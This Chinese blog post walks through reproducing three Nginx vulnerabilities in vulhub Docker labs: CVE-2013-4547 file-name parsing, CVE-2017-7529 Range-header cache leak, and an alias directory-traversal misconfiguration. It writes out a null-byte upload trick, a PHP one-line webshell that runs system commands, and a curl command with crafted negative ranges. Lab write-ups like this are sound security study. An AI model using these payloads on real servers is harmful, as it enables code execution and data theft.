Nginx服务漏洞复现

醉了

已于 2023-08-10 19:13:52 修改

阅读量1.2k

点赞数

文章标签： nginx 运维

于 2023-08-10 19:11:45 首次发布

本文链接：https://blog.csdn.net/m0_62389190/article/details/132216324

版权

Nginx服务漏洞复现

CVE-2013-4547（文件名逻辑漏洞）

影响说明

绕过服务器策略，上传webshell

配置docker环境，下载靶场

cd vulhub-master/nginx/CVE-2013-4547 //切换到靶机目录
docker-compose build //创建环境
docker-compose up -d //打开环境
进行访问测试，确认是否搭建好
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-okAW1dZg-1691665357579)(C:\Users\寒烟悟\AppData\Roaming\Typora\typora-user-images\image-20230809143009379.png)]$

查看源代码，查看过滤的文件格式

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J2oGqmT0-1691665357580)(C:\Users\寒烟悟\AppData\Roaming\Typora\typora-user-images\image-20230809143511449.png)]$

上传一个图片格式

文件名字为shell.jpg,其中的内容是<?php phpinfo();?>，
被burp 拦截后需要在文件名后面加两个空格，发现上传成功
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9tbm8ywO-1691665357580)(C:\Users\寒烟悟\AppData\Roaming\Typora\typora-user-images\image-20230809150845952.png)]$

构造shell.jpg[0x20][0x00].php

造成Nginx 解析漏洞使我们的muma.jpg解析成php，访问。

先上传shell.jpg .php 文件，注意jpg后面有两个空格

然后在burp中抓取数据包把shell.jpg后面的两个空格 [0x20] [0x20] --> [0x20] [0x00] ,发现成功上传

在这里插入图片描述

6.访问http://192.168.154.149:8080/uploadfiles/shell.jpg .php

但是空格会被编码，在burp手动改为shell.jpg .php
最后把shell.jpg后面的两个空格[0x20] [0x20] --> [0x20] [0x00] ,发现成功访问文件
在这里插入图片描述

执行一句话代码

将shell.jpg文件编辑以下代码，然后按上述步骤再次上传抓包修改，将返回，木马执行结果。

<?php system($_GET['var']); ?>

在这里插入图片描述

CVE-2017-7529（Nginx越界读取缓存漏洞）

影响说明

信息泄漏

配置docker环境，下载靶场

cd vulhub-master/nginx/CVE-2017-7529 //切换到靶机目录

docker-compose build //创建环境

docker-compose up -d //打开环境

进行访问测试，确认是否搭建好
在这里插入图片描述

漏洞原理

Nginx在反向代理站点的时候，通常会将一些文件进行缓存，特别是静态文件。缓存的部分存储在文件中，每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件，则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

如果我的请求中包含Range头，Nginx将会根据我指定的start和end位置，返回指定长度的内容。

如果构造了两个负的位置，将可能读取到负位置的数据。如果这次请求又命中了缓存文件，就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

Range 是一个请求首部，告知服务器返回文件的哪一部分。在一个 Range 首部中，可以一次性请求多个部分，服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应，需要使用 206 Partial Content 状态码。假如所请求的范围不合法，那么服务器会返回 416 Range Not Satisfiable 状态码，表示客户端错误。服务器允许忽略 Range 首部，从而返回整个文件，状态码用 200。

range是什么？

存在于HTTP请求头中，表示请求目标资源的部分内容，例如请求一个图片的前半部分，单位是byte，原则上从0开始，但今天介绍的是可以设置为负数。
range的典型应用场景例如：断点续传、分批请求资源。
range在HTTP头中的表达方式：

Range:bytes=0-1024 表示访问第0到第1024字节；
Range:bytes=100-200,601-999,-300 表示分三块访问，分别是100到200字节，601到600字节，最后的300字节；
Range:-100 表示访问最后的100个字节

range在HTTP Response表示：

Accept-Ranges:bytes 表示接受部分资源的请求；
Content-Range: bytes START-END/SIZE  START-END表示资源的开始和结束位置，SIZE表示资源的的长度

漏洞检测

使用curl工具测试下，命令如下,执行后发现，返回的内容是正常的。

curl -i http://127.0.0.1:8080 -r 0-612

在这里插入图片描述

可以看到我们的HTTP返回头部长度是612，都是正常的，并没有溢出现象

漏洞复现

curl -i http://127.0.0.1:8080/ -r -17308,-9223372036854758500

在这里插入图片描述

也可以使用代码进行溢出
在这里插入图片描述

执行之后返回上述结果，可以看到HTTP的返回头和返回体中已经不一样了，返回头中返回了缓存文件KEY，这样会导致信息的泄露

Nginx目录穿越漏洞

影响说明

信息泄漏

环境搭建

配置docker环境，下载靶场

cd vulhub-master/nginx/insecure-configuration //切换到靶机目录

docker-compose build //创建环境

docker-compose up -d //打开环境

漏洞复现

Nginx的目录穿越漏洞严格定义的话，并非是漏洞，而是Nginx的特性，问题出在alias上，“在Nginx的虚拟目录配置上，也就是Alias。Alias正如其名，alias指定的路径是location的别名，不管location的值怎么写，资源的真实路径都是Alias指定的路径”（看了两遍才看懂，可以注意点看这句话，很好理解）通俗来讲就是，当我访问http://your-ip/files/时真正访问的路径是/home/,而不是我们以为的/var/www/html/files/

最终导致下图情况，造成信息泄漏，如果目录中有数据库备份、源码备份危害就更大了。

在这里插入图片描述